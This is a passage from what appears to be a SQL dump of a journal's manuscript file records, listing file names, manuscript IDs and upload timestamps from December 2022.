15:23:21',1,3,0),(34547,13250,'13250-47h6-Manuscript-proof-submission-2022-12-07.rar',NULL,'2022-12-07 15:23:51',1,3,0),(34548,13251,'13251-vp8e-Manuscript-proof-submission-2022-12-07.rar',NULL,'2022-12-07 15:24:43',1,3,0),(34549,13210,'13210-Manuscript-2022-12-07-1usm.pdf',NULL,'2022-12-07 16:11:09',1,3,0),(34550,13209,'13209-Manuscript-2022-12-07-iglc.pdf',NULL,'2022-12-07 16:12:03',1,3,0),(34551,13205,'13205-Manuscript-2022-12-07-l9v5.pdf',NULL,'2022-12-07 16:12:58',1,3,0),(34552,13204,'13204-Manuscript-2022-12-07-jug4.pdf',NULL,'2022-12-07 16:13:42',1,3,0),(34553,13200,'13200-Manuscript-2022-12-07-ik0x.pdf',NULL,'2022-12-07 16:14:24',1,3,0),(34554,13249,'13249-Manuscript-2022-12-07-4l5m-ap-team-revised.rar',NULL,'2022-12-07 17:08:33',1,3,1),(34555,13250,'13250-Manuscript-2022-12-07-o4nu-ap-team-revised.rar',NULL,'2022-12-07 17:09:03',1,3,1),(34556,13251,'13251-Manuscript-2022-12-07-pkye-ap-team-revised.rar',NULL,'2022-12-07 17:09:42',1,3,1),(34557,13247,'13247-Manuscript-2022-12-07-we7m-ap-team-revised.rar',NULL,'2022-12-07 17:10:28',1,3,1),(34558,13154,'13154-Manuscript-2022-12-08-ugsw-move-pdf-making.pdf',NULL,'2022-12-08 09:55:50',1,3,0),(34559,13217,'13217-Manuscript-2022-12-08-5tjc.pdf',NULL,'2022-12-08 10:10:38',1,3,0),(34560,13199,'13199-Manuscript-2022-12-08-muzc.pdf',NULL,'2022-12-08 10:15:42',1,3,0),(34561,13154,'13154-Manuscript-2022-12-08-1mib.pdf',NULL,'2022-12-08 10:35:21',1,3,0),(34562,13218,'13218-Manuscript-2022-12-08-epr5.pdf',NULL,'2022-12-08 11:10:27',1,3,0),(34563,13111,'13111-Manuscript-2022-12-08-3ta6.pdf',NULL,'2022-12-08 11:11:07',1,3,0),(34564,13256,'13256-0-Manuscript-2022-12-08.docx',NULL,'2022-12-08 11:17:24',1,1,0),(34565,13257,'13257-0-Manuscript-2022-12-08.docx',NULL,'2022-12-08 11:19:05',1,1,0),(34566,13258,'13258-0-Manuscript-2022-12-08.docx',NULL,'2022-12-08 11:21:39',1,1,0),(34567,13259,'13259-0-Manuscript-2022-12-08.docx',NULL,'2022-12-08 11:23:15',1,1,0),(34568,13260,'13260-0-Manuscript-2022-12-08.docx',NULL,'2022-12-08 11:26:17',1,1,0),(34569,13246,'13246-wbnj-Manuscript-proof-submission-2022-12-08.docx',NULL,'2022-12-08 11:51:15',1,3,0),(34570,13252,'13252-2s6y-Manuscript-proof-submission-2022-12-08.docx',NULL,'2022-12-08 11:52:10',1,3,0),(34571,13253,'13253-qpvh-Manuscript-proof-submission-2022-12-08.docx',NULL,'2022-12-08 11:53:14',1,3,0),(34572,13254,'13254-zjsl-Manuscript-proof-submission-2022-12-08.docx',NULL,'2022-12-08 11:54:01',1,3,0),(34573,13189,'13189-Manuscript-2022-12-08-84w1.pdf',NULL,'2022-12-08 12:30:38',1,3,0),(34574,13261,'13261-0-Manuscript-2022-12-08.docx',NULL,'2022-12-08 12:56:45',1,1,0),(34575,13252,'13252-Manuscript-2022-12-08-zcay-ap-team-revised.docx',NULL,'2022-12-08 13:31:39',1,3,0),(34576,13253,'13253-Manuscript-2022-12-08-9dso-ap-team-revised.docx',NULL,'2022-12-08 13:31:50',1,3,0),(34577,13254,'13254-Manuscript-2022-12-08-lbqr-ap-team-revised.docx',NULL,'2022-12-08 13:32:00',1,3,0),(34578,13246,'13246-Manuscript-2022-12-08-ydpt-ap-team-revised.docx',NULL,'2022-12-08 13:32:11',1,3,0),(34579,13262,'13262-0-Manuscript-2022-12-08.docx',NULL,'2022-12-08 14:34:21',1,1,0),(34580,13247,'13247-Manuscript-2022-12-08-61ta-graphic-completed.pdf',NULL,'2022-12-08 17:10:13',1,3,0),(34581,13251,'13251-Manuscript-2022-12-08-fczs-graphic-completed.pdf',NULL,'2022-12-08 17:10:24',1,3,1),(34582,13250,'13250-Manuscript-2022-12-08-gp5j-graphic-completed.pdf',NULL,'2022-12-08 17:10:33',1,3,1),(34583,13249,'13249-Manuscript-2022-12-08-oabn-graphic-completed.pdf',NULL,'2022-12-08 17:10:44',1,3,0),(34584,13249,'13249-Manuscript-2022-12-09-togz.pdf',NULL,'2022-12-09 10:04:30',1,3,1),(34585,13250,'13250-Manuscript-2022-12-09-my59.pdf',NULL,'2022-12-09 10:05:23',1,3,0),(34586,13247,'13247-Manuscript-2022-12-09-r6gd.pdf',NULL,'2022-12-09 10:07:03',1,3,1),(34587,13168,'13168-Manuscript-2022-12-09-gxv4-graphic-completed.pdf',NULL,'2022-12-09 10:46:52',1,3,0),(34588,13263,'13263-0-Manuscript-2022-12-09.docx',NULL,'2022-12-09 10:56:30',1,1,0),(34589,13206,'13206-pa8g-Manuscript-proof-submission-2022-12-09.rar',NULL,'2022-12-09 10:56:36',1,3,0),(34590,13168,'13168-Manuscript-2022-12-09-r9sc.pdf',NULL,'2022-12-09 11:35:12',1,3,0),(34591,13207,'13207-3kce-Manuscript-proof-submission-2022-12-09.rar',NULL,'2022-12-09 12:09:12',1,3,0),(34592,13206,'13206-Manuscript-2022-12-09-jkel-ap-team-revised.rar',NULL,'2022-12-09 12:13:31',1,3,1),(34593,13207,'13207-Manuscript-2022-12-09-vhlk-ap-team-revised.rar',NULL,'2022-12-09 14:59:56',1,3,0),(34594,13207,'13207-Manuscript-2022-12-09-n3zh-ap-team-revised.rar',NULL,'2022-12-09 15:21:43',1,3,1),(34595,13206,'13206-Manuscript-2022-12-09-mb6g-graphic-completed.pdf',NULL,'2022-12-09 17:11:24',1,3,0),(34596,13207,'13207-Manuscript-2022-12-09-dy3q-graphic-completed.pdf',NULL,'2022-12-09 17:11:37',1,3,0),(34597,13264,'13264-0-Manuscript-2022-12-11.docx',NULL,'2022-12-11 13:28:03',1,1,0),(34599,13266,'13266-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 10:57:08',1,1,0),(34600,13267,'13267-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 11:12:59',1,1,0),(34601,13268,'13268-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 12:15:29',1,1,0),(34603,13270,'13270-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 12:21:02',1,1,0),(34604,13271,'13271-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 15:25:40',1,1,0),(34605,13272,'13272-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 16:45:50',1,1,0),(34606,13273,'13273-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 18:29:01',1,1,0),(34607,13274,'13274-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 18:42:19',1,1,0),(34608,13275,'13275-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 18:51:53',1,1,0),(34609,13276,'13276-0-Manuscript-2022-12-12.docx',NULL,'2022-12-12 18:58:48',1,1,0),(34610,13277,'13277-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 11:36:20',1,1,0),(34611,13278,'13278-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 11:43:07',1,1,0),(34612,13279,'13279-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 12:00:53',1,1,0),(34613,13187,'13187-s4a2-Manuscript-proof-submission-2022-12-13.rar',NULL,'2022-12-13 12:04:53',1,3,0),(34614,13280,'13280-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 12:11:28',1,1,0),(34615,13281,'13281-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 12:12:33',1,1,0),(34617,13216,'13216-c1kb-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:16:15',1,3,0),(34618,13220,'13220-lcfx-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:16:47',1,3,0),(34619,13222,'13222-drsb-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:17:04',1,3,0),(34620,13223,'13223-u41f-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:17:19',1,3,0),(34621,13224,'13224-8ush-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:17:34',1,3,0),(34622,13243,'13243-3zqy-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:18:13',1,3,0),(34623,13244,'13244-4rwk-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:18:30',1,3,0),(34624,13261,'13261-id48-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:18:49',1,3,0),(34625,13262,'13262-t0yh-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:19:06',1,3,0),(34627,13211,'13211-bqn7-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:45:00',1,3,0),(34628,13211,'13211-wdbg-Manuscript-proof-submission-2022-12-13.pdf',NULL,'2022-12-13 12:45:00',1,3,0),(34629,13212,'13212-4xmi-Manuscript-proof-submission-2022-12-13.docx',NULL,'2022-12-13 12:45:24',1,3,0),(34630,13284,'13284-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 12:55:01',1,1,0),(34631,13285,'13285-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 13:11:37',1,1,0),(34632,13286,'13286-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 13:48:13',1,1,0),(34633,13287,'13287-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 14:10:33',1,1,0),(34634,13288,'13288-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 14:14:19',1,1,0),(34635,13289,'13289-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 14:17:56',1,1,0),(34636,13290,'13290-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 14:53:30',1,1,0),(34637,13291,'13291-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 15:22:39',1,1,0),(34638,13292,'13292-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 15:32:50',1,1,0),(34639,13293,'13293-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 15:52:16',1,1,0),(34641,13295,'13295-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 17:15:00',1,1,0),(34642,13296,'13296-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 17:30:16',1,1,0),(34644,13298,'13298-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 18:04:59',1,1,0),(34645,13299,'13299-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 18:26:01',1,1,0),(34646,13300,'13300-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 18:40:43',1,1,0),(34647,13301,'13301-0-Manuscript-2022-12-13.docx',NULL,'2022-12-13 18:47:11',1,1,0),(34648,13221,'13221-wnky-Manuscript-proof-submission-2022-12-14.rar',NULL,'2022-12-14 09:54:45',1,3,0),(34649,13302,'13302-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 10:35:33',1,1,0),(34650,13187,'13187-Manuscript-2022-12-14-7zxu-ap-team-revised.rar',NULL,'2022-12-14 10:49:20',1,3,1),(34651,13303,'13303-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 10:50:02',1,1,0),(34652,13221,'13221-Manuscript-2022-12-14-2f46-ap-team-revised.rar',NULL,'2022-12-14 11:05:21',1,3,1),(34653,13223,'13223-Manuscript-2022-12-14-ive3-ap-team-revised.docx',NULL,'2022-12-14 11:14:19',1,3,0),(34654,13222,'13222-Manuscript-2022-12-14-6ove-ap-team-revised.docx',NULL,'2022-12-14 11:16:49',1,3,0),(34655,13304,'13304-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 11:17:40',1,1,0),(34656,13220,'13220-Manuscript-2022-12-14-ptsg-ap-team-revised.docx',NULL,'2022-12-14 11:18:58',1,3,0),(34657,13216,'13216-Manuscript-2022-12-14-r2hd-ap-team-revised.docx',NULL,'2022-12-14 11:21:24',1,3,0),(34658,13224,'13224-Manuscript-2022-12-14-b61e-ap-team-revised.docx',NULL,'2022-12-14 11:28:17',1,3,0),(34659,13305,'13305-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 11:36:55',1,1,0),(34661,13216,'13216-Manuscript-2022-12-14-nz9c.pdf',NULL,'2022-12-14 12:12:28',1,3,0),(34662,13220,'13220-Manuscript-2022-12-14-eilh.pdf',NULL,'2022-12-14 12:13:25',1,3,0),(34663,13222,'13222-Manuscript-2022-12-14-d7mz.pdf',NULL,'2022-12-14 12:14:15',1,3,0),(34664,13223,'13223-Manuscript-2022-12-14-wd8g.pdf',NULL,'2022-12-14 12:14:38',1,3,0),(34665,13307,'13307-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 12:20:58',1,1,0),(34666,13243,'13243-Manuscript-2022-12-14-639t-ap-team-revised.docx',NULL,'2022-12-14 12:21:18',1,3,0),(34667,13244,'13244-Manuscript-2022-12-14-mepr-ap-team-revised.docx',NULL,'2022-12-14 12:24:52',1,3,0),(34668,13261,'13261-Manuscript-2022-12-14-1nye-ap-team-revised.docx',NULL,'2022-12-14 12:26:41',1,3,0),(34669,13262,'13262-Manuscript-2022-12-14-1aqn-ap-team-revised.docx',NULL,'2022-12-14 12:28:05',1,3,0),(34670,13224,'13224-Manuscript-2022-12-14-zeqj.pdf',NULL,'2022-12-14 12:36:23',1,3,0),(34671,13199,'13199-Manuscript-2022-12-14-8zep-graphic-completed.pdf',NULL,'2022-12-14 13:26:21',1,3,1),(34672,13199,'13199-Manuscript-2022-12-14-kf2a.pdf',NULL,'2022-12-14 13:47:56',1,3,0),(34673,13116,'13116-rv4t-Manuscript-proof-submission-2022-12-14.rar',NULL,'2022-12-14 13:50:32',1,3,0),(34674,13308,'13308-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 15:13:08',1,1,0),(34675,13120,'13120-ufth-Manuscript-proof-submission-2022-12-14.rar',NULL,'2022-12-14 15:21:55',1,3,0),(34676,13309,'13309-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 15:26:24',1,1,0),(34678,13221,'13221-Manuscript-2022-12-14-6rq7-graphic-completed.pdf',NULL,'2022-12-14 16:46:52',1,3,0),(34679,13311,'13311-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 16:57:20',1,1,0),(34680,13312,'13312-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 16:59:15',1,1,0),(34681,13120,'13120-Manuscript-2022-12-14-e6br-ap-team-revised.rar',NULL,'2022-12-14 16:59:18',1,3,1),(34682,13116,'13116-Manuscript-2022-12-14-6il8-ap-team-revised.rar',NULL,'2022-12-14 16:59:46',1,3,1),(34683,13229,'13229-dahf-Manuscript-proof-submission-2022-12-14.rar',NULL,'2022-12-14 17:01:56',1,3,0),(34684,13313,'13313-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 17:02:50',1,1,0),(34685,13187,'13187-Manuscript-2022-12-14-1zew-graphic-completed.pdf',NULL,'2022-12-14 17:17:39',1,3,1),(34686,13263,'13263-12fg-Manuscript-proof-submission-2022-12-14.docx',NULL,'2022-12-14 17:18:34',1,3,0),(34687,13284,'13284-zn5g-Manuscript-proof-submission-2022-12-14.docx',NULL,'2022-12-14 17:20:12',1,3,0),(34688,13285,'13285-sbzr-Manuscript-proof-submission-2022-12-14.docx',NULL,'2022-12-14 17:20:36',1,3,0),(34689,13286,'13286-ryu7-Manuscript-proof-submission-2022-12-14.docx',NULL,'2022-12-14 17:20:58',1,3,0),(34690,13229,'13229-Manuscript-2022-12-14-063n-ap-team-revised.rar',NULL,'2022-12-14 17:27:03',1,3,1),(34691,13187,'13187-Manuscript-2022-12-14-7mxn.pdf',NULL,'2022-12-14 17:36:10',1,3,0),(34693,13315,'13315-0-Manuscript-2022-12-14.docx',NULL,'2022-12-14 18:23:23',1,1,0),(34694,13248,'13248-mgze-Manuscript-2022-12-14.pdf',NULL,'2022-12-14 22:56:57',1,1,0),(34695,13246,'13246-Manuscript-2022-12-15-rhys.pdf',NULL,'2022-12-15 09:45:10',1,3,0),(34696,13252,'13252-Manuscript-2022-12-15-b1iq.pdf',NULL,'2022-12-15 09:46:13',1,3,0),(34697,13254,'13254-Manuscript-2022-12-15-enum.pdf',NULL,'2022-12-15 09:50:03',1,3,0),(34698,13253,'13253-Manuscript-2022-12-15-21wr.pdf',NULL,'2022-12-15 09:52:08',1,3,0),(34699,13120,'13120-Manuscript-2022-12-15-19g2-graphic-completed.pdf',NULL,'2022-12-15 12:05:56',1,3,0),(34700,13116,'13116-Manuscript-2022-12-15-xlv9-graphic-completed.pdf',NULL,'2022-12-15 12:06:13',1,3,0),(34703,13260,'13260-6sqc-Manuscript-proof-submission-2022-12-15.rar',NULL,'2022-12-15 14:36:01',1,3,0),(34704,13258,'13258-em0d-Manuscript-proof-submission-2022-12-15.rar',NULL,'2022-12-15 14:36:17',1,3,0),(34705,13257,'13257-bhun-Manuscript-proof-submission-2022-12-15.rar',NULL,'2022-12-15 14:36:34',1,3,0),(34706,13256,'13256-auk7-Manuscript-proof-submission-2022-12-15.rar',NULL,'2022-12-15 14:36:51',1,3,0),(34707,13188,'13188-0f7t-Manuscript-proof-submission-2022-12-15.rar',NULL,'2022-12-15 14:37:16',1,3,0),(34708,13317,'13317-0-Manuscript-2022-12-15.docx',NULL,'2022-12-15 14:50:20',1,1,0),(34709,13318,'13318-0-Manuscript-2022-12-15.docx',NULL,'2022-12-15 15:15:29',1,1,0),(34710,13319,'13319-0-Manuscript-2022-12-15.docx',NULL,'2022-12-15 15:30:14',1,1,0),(34711,13256,'13256-Manuscript-2022-12-15-f40y-ap-team-revised.rar',NULL,'2022-12-15 15:43:42',1,3,1),(34712,13257,'13257-Manuscript-2022-12-15-b79k-ap-team-revised.rar',NULL,'2022-12-15 15:44:12',1,3,1),(34713,13258,'13258-Manuscript-2022-12-15-2vw7-ap-team-revised.rar',NULL,'2022-12-15 15:44:43',1,3,1),(34714,13260,'13260-Manuscript-2022-12-15-str7-ap-team-revised.rar',NULL,'2022-12-15 15:45:12',1,3,1),(34715,13188,'13188-Manuscript-2022-12-15-wskn-ap-team-revised.rar',NULL,'2022-12-15 15:45:41',1,3,1),(34716,13221,'13221-Manuscript-2022-12-15-qh3i.pdf',NULL,'2022-12-15 15:59:48',1,3,1),(34717,13206,'13206-Manuscript-2022-12-15-k6b8.pdf',NULL,'2022-12-15 16:01:28',1,3,1),(34718,13207,'13207-Manuscript-2022-12-15-ys03.pdf',NULL,'2022-12-15 16:30:57',1,3,1),(34719,13120,'13120-Manuscript-2022-12-15-t2k4.pdf',NULL,'2022-12-15 16:32:07',1,3,1),(34720,13116,'13116-Manuscript-2022-12-15-d1t6.pdf',NULL,'2022-12-15 16:33:28',1,3,1),(34721,13320,'13320-0-Manuscript-2022-12-15.docx',NULL,'2022-12-15 17:05:37',1,1,0),(34722,13263,'13263-Manuscript-2022-12-15-a6ep-ap-team-revised.docx',NULL,'2022-12-15 17:40:45',1,3,0),(34723,13211,'13211-Manuscript-2022-12-15-rxw2-ap-team-revised.docx',NULL,'2022-12-15 18:06:58',1,3,0),(34724,13212,'13212-Manuscript-2022-12-15-3mio-ap-team-revised.docx',NULL,'2022-12-15 18:07:15',1,3,0),(34725,13285,'13285-Manuscript-2022-12-15-rolg-ap-team-revised.docx',NULL,'2022-12-15 18:07:28',1,3,0),(34726,13284,'13284-Manuscript-2022-12-15-xv2w-ap-team-revised.docx',NULL,'2022-12-15 18:07:43',1,3,0),(34727,13286,'13286-Manuscript-2022-12-15-rpf8-ap-team-revised.docx',NULL,'2022-12-15 18:07:57',1,3,0),(34728,13286,'13286-Manuscript-2022-12-15-2tlq-graphic-completed.pdf',NULL,'2022-12-15 18:12:39',1,3,0),(34729,13284,'13284-Manuscript-2022-12-15-9qbs-graphic-completed.pdf',NULL,'2022-12-15 18:13:18',1,3,0),(34730,13285,'13285-Manuscript-2022-12-15-bc9q-graphic-completed.pdf',NULL,'2022-12-15 18:14:20',1,3,0),(34731,13212,'13212-Manuscript-2022-12-15-ov6j-graphic-completed.pdf',NULL,'2022-12-15 18:15:41',1,3,0),(34732,13211,'13211-Manuscript-2022-12-15-wnd0-graphic-completed.pdf',NULL,'2022-12-15 18:16:41',1,3,0),(34733,13244,'13244-Manuscript-2022-12-15-l370.pdf',NULL,'2022-12-15 18:49:54',1,3,0),(34734,13263,'13263-Manuscript-2022-12-15-mys6-graphic-completed.pdf',NULL,'2022-12-15 18:52:20',1,3,0),(34735,13262,'13262-Manuscript-2022-12-15-5bzh-graphic-completed.pdf',NULL,'2022-12-15 18:52:46',1,3,0),(34736,13261,'13261-Manuscript-2022-12-15-xzt2-graphic-completed.pdf',NULL,'2022-12-15 18:53:09',1,3,0),(34737,13243,'13243-Manuscript-2022-12-15-tbho-graphic-completed.pdf',NULL,'2022-12-15 18:53:36',1,3,0),(34738,13278,'13278-acz8-Manuscript-proof-submission-2022-12-15.docx',NULL,'2022-12-15 19:06:23',1,3,0),(34739,13266,'13266-7up2-Manuscript-proof-submission-2022-12-15.docx',NULL,'2022-12-15 19:06:49',1,3,0),(34740,13267,'13267-239n-Manuscript-proof-submission-2022-12-15.docx',NULL,'2022-12-15 19:07:01',1,3,0),(34741,13271,'13271-eb7v-Manuscript-proof-submission-2022-12-15.docx',NULL,'2022-12-15 19:07:14',1,3,0),(34742,13272,'13272-qo71-Manuscript-proof-submission-2022-12-15.docx',NULL,'2022-12-15 19:07:26',1,3,0),(34743,13266,'13266-Manuscript-2022-12-16-6efq-ap-team-revised.docx',NULL,'2022-12-16 10:50:29',1,3,0),(34744,13267,'13267-Manuscript-2022-12-16-nef5-ap-team-revised.docx',NULL,'2022-12-16 10:51:51',1,3,0),(34745,13271,'13271-Manuscript-2022-12-16-qi2l-ap-team-revised.docx',NULL,'2022-12-16 10:52:49',1,3,0),(34746,13272,'13272-Manuscript-2022-12-16-cj79-ap-team-revised.docx',NULL,'2022-12-16 10:53:47',1,3,0),(34747,13278,'13278-Manuscript-2022-12-16-qxuc-ap-team-revised.docx',NULL,'2022-12-16 10:54:58',1,3,0),(34748,13273,'13273-4kg1-Manuscript-proof-submission-2022-12-16.docx',NULL,'2022-12-16 11:45:36',1,3,0),(34749,13275,'13275-c7i6-Manuscript-proof-submission-2022-12-16.docx',NULL,'2022-12-16 11:46:09',1,3,0),(34750,13276,'13276-et23-Manuscript-proof-submission-2022-12-16.docx',NULL,'2022-12-16 11:46:29',1,3,0),(34751,13279,'13279-rbig-Manuscript-proof-submission-2022-12-16.docx',NULL,'2022-12-16 11:46:51',1,3,0),(34752,13321,'13321-0-Manuscript-2022-12-16.docx',NULL,'2022-12-16 12:31:26',1,1,0),(34753,13322,'13322-0-Manuscript-2022-12-16.docx',NULL,'2022-12-16 13:17:56',1,1,0),(34754,13248,'13248-krvd-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 13:36:43',1,3,1),(34755,13323,'13323-0-Manuscript-2022-12-16.docx',NULL,'2022-12-16 13:44:44',1,1,0),(34756,13214,'13214-raox-Manuscript-proof-submission-2022-12-16.docx',NULL,'2022-12-16 14:23:24',1,3,0),(34757,13293,'13293-j27f-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 14:25:09',1,3,0),(34758,13293,'13293-fjt9-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 14:25:11',1,3,0),(34759,13324,'13324-0-Manuscript-2022-12-16.docx',NULL,'2022-12-16 14:58:41',1,1,0),(34760,13290,'13290-2emi-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:17:54',1,3,0),(34761,13291,'13291-14yu-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:19:31',1,3,1),(34762,13295,'13295-nl7w-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:19:56',1,3,0),(34763,13317,'13317-wt8k-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:22:02',1,3,1),(34764,13292,'13292-u4y9-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:23:03',1,3,1),(34765,13281,'13281-huf1-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:24:16',1,3,1),(34766,13280,'13280-57fg-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:25:15',1,3,1),(34767,13325,'13325-0-Manuscript-2022-12-16.docx',NULL,'2022-12-16 15:29:54',1,1,0),(34768,13295,'13295-ronz-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:30:08',1,3,0),(34769,13311,'13311-fvxn-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:31:11',1,3,0),(34770,13312,'13312-xvd7-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 15:31:37',1,3,0),(34771,13293,'13293-Manuscript-2022-12-16-v283-ap-team-revised.rar',NULL,'2022-12-16 15:40:57',1,3,1),(34772,13326,'13326-0-Manuscript-2022-12-16.docx',NULL,'2022-12-16 16:02:47',1,1,0),(34773,13304,'13304-tjg1-Manuscript-proof-submission-2022-12-16.rar',NULL,'2022-12-16 16:46:35',1,3,0),(34774,13188,'13188-Manuscript-2022-12-16-qpao-graphic-completed.pdf',NULL,'2022-12-16 17:01:00',1,3,1),(34775,13260,'13260-Manuscript-2022-12-16-wrx1-graphic-completed.pdf',NULL,'2022-12-16 17:01:05',1,3,1),(34776,13258,'13258-Manuscript-2022-12-16-vmte-graphic-completed.pdf',NULL,'2022-12-16 17:01:09',1,3,1),(34777,13257,'13257-Manuscript-2022-12-16-6f0o-graphic-completed.pdf',NULL,'2022-12-16 17:01:15',1,3,1),(34778,13256,'13256-Manuscript-2022-12-16-9s2l-graphic-completed.pdf',NULL,'2022-12-16 17:01:22',1,3,1),(34779,13304,'13304-Manuscript-2022-12-16-1clv-ap-team-revised.rar',NULL,'2022-12-16 17:03:50',1,3,0),(34780,13311,'13311-Manuscript-2022-12-16-xqem-ap-team-revised.rar',NULL,'2022-12-16 17:33:30',1,3,1),(34781,13312,'13312-Manuscript-2022-12-16-058v-ap-team-revised.rar',NULL,'2022-12-16 17:34:00',1,3,1),(34782,13295,'13295-Manuscript-2022-12-16-73p5-ap-team-revised.rar',NULL,'2022-12-16 17:34:32',1,3,1),(34783,13290,'13290-Manuscript-2022-12-16-bio6-ap-team-revised.rar',NULL,'2022-12-16 17:35:05',1,3,1),(34784,13291,'13291-Manuscript-2022-12-16-09ks-ap-team-revised.rar',NULL,'2022-12-16 17:35:49',1,3,1),(34787,13329,'13329-0-Manuscript-2022-12-17.docx',NULL,'2022-12-17 10:22:55',1,1,0),(34789,13256,'13256-Manuscript-2022-12-17-yke1.pdf',NULL,'2022-12-17 10:42:22',1,3,0),(34790,13258,'13258-Manuscript-2022-12-17-ytrv.pdf',NULL,'2022-12-17 10:43:10',1,3,0),(34791,13188,'13188-Manuscript-2022-12-17-rtq7.pdf',NULL,'2022-12-17 10:44:42',1,3,1),(34792,13257,'13257-Manuscript-2022-12-17-7unp.pdf',NULL,'2022-12-17 10:45:54',1,3,0),(34793,13260,'13260-Manuscript-2022-12-17-bk8p.pdf',NULL,'2022-12-17 10:46:41',1,3,0),(34794,13331,'13331-0-Manuscript-2022-12-17.docx',NULL,'2022-12-17 11:11:39',1,1,0),(34795,13315,'13315-fogn-Manuscript-proof-submission-2022-12-17.rar',NULL,'2022-12-17 11:17:56',1,3,0),(34796,13325,'13325-837v-Manuscript-proof-submission-2022-12-17.rar',NULL,'2022-12-17 11:18:34',1,3,0),(34797,13319,'13319-q1e8-Manuscript-proof-submission-2022-12-17.rar',NULL,'2022-12-17 11:31:26',1,3,0),(34798,13290,'13290-Manuscript-2022-12-17-kh1o-graphic-completed.pdf',NULL,'2022-12-17 11:33:49',1,3,0),(34799,13295,'13295-Manuscript-2022-12-17-4bfd-graphic-completed.pdf',NULL,'2022-12-17 11:33:55',1,3,0),(34800,13312,'13312-Manuscript-2022-12-17-5jzs-graphic-completed.pdf',NULL,'2022-12-17 11:34:00',1,3,0),(34801,13311,'13311-Manuscript-2022-12-17-wdzl-graphic-completed.pdf',NULL,'2022-12-17 11:34:05',1,3,0),(34802,13304,'13304-Manuscript-2022-12-17-8efr-graphic-completed.pdf',NULL,'2022-12-17 11:36:18',1,3,1),(34803,13319,'13319-Manuscript-2022-12-17-rq5h-ap-team-revised.rar',NULL,'2022-12-17 11:40:52',1,3,0),(34804,13305,'13305-djwt-Manuscript-proof-submission-2022-12-17.rar',NULL,'2022-12-17 11:51:31',1,3,0),(34805,13305,'13305-gv6k-Manuscript-proof-submission-2022-12-17.rar',NULL,'2022-12-17 11:51:32',1,3,0),(34806,13304,'13304-Manuscript-2022-12-17-id4e.pdf',NULL,'2022-12-17 11:59:17',1,3,1),(34807,13295,'13295-Manuscript-2022-12-17-63xs.pdf',NULL,'2022-12-17 12:17:30',1,3,0),(34808,13311,'13311-Manuscript-2022-12-17-gt5w.pdf',NULL,'2022-12-17 12:18:23',1,3,0),(34809,13332,'13332-0-Manuscript-2022-12-17.docx',NULL,'2022-12-17 12:25:49',1,1,0),(34810,13312,'13312-Manuscript-2022-12-17-vt7k.pdf',NULL,'2022-12-17 12:32:31',1,3,0),(34811,13290,'13290-Manuscript-2022-12-17-s5rh.pdf',NULL,'2022-12-17 12:33:09',1,3,0),(34812,13274,'13274-8pof-Manuscript-proof-submission-2022-12-17.docx',NULL,'2022-12-17 12:42:59',1,3,0),(34813,13307,'13307-j9if-Manuscript-proof-submission-2022-12-17.docx',NULL,'2022-12-17 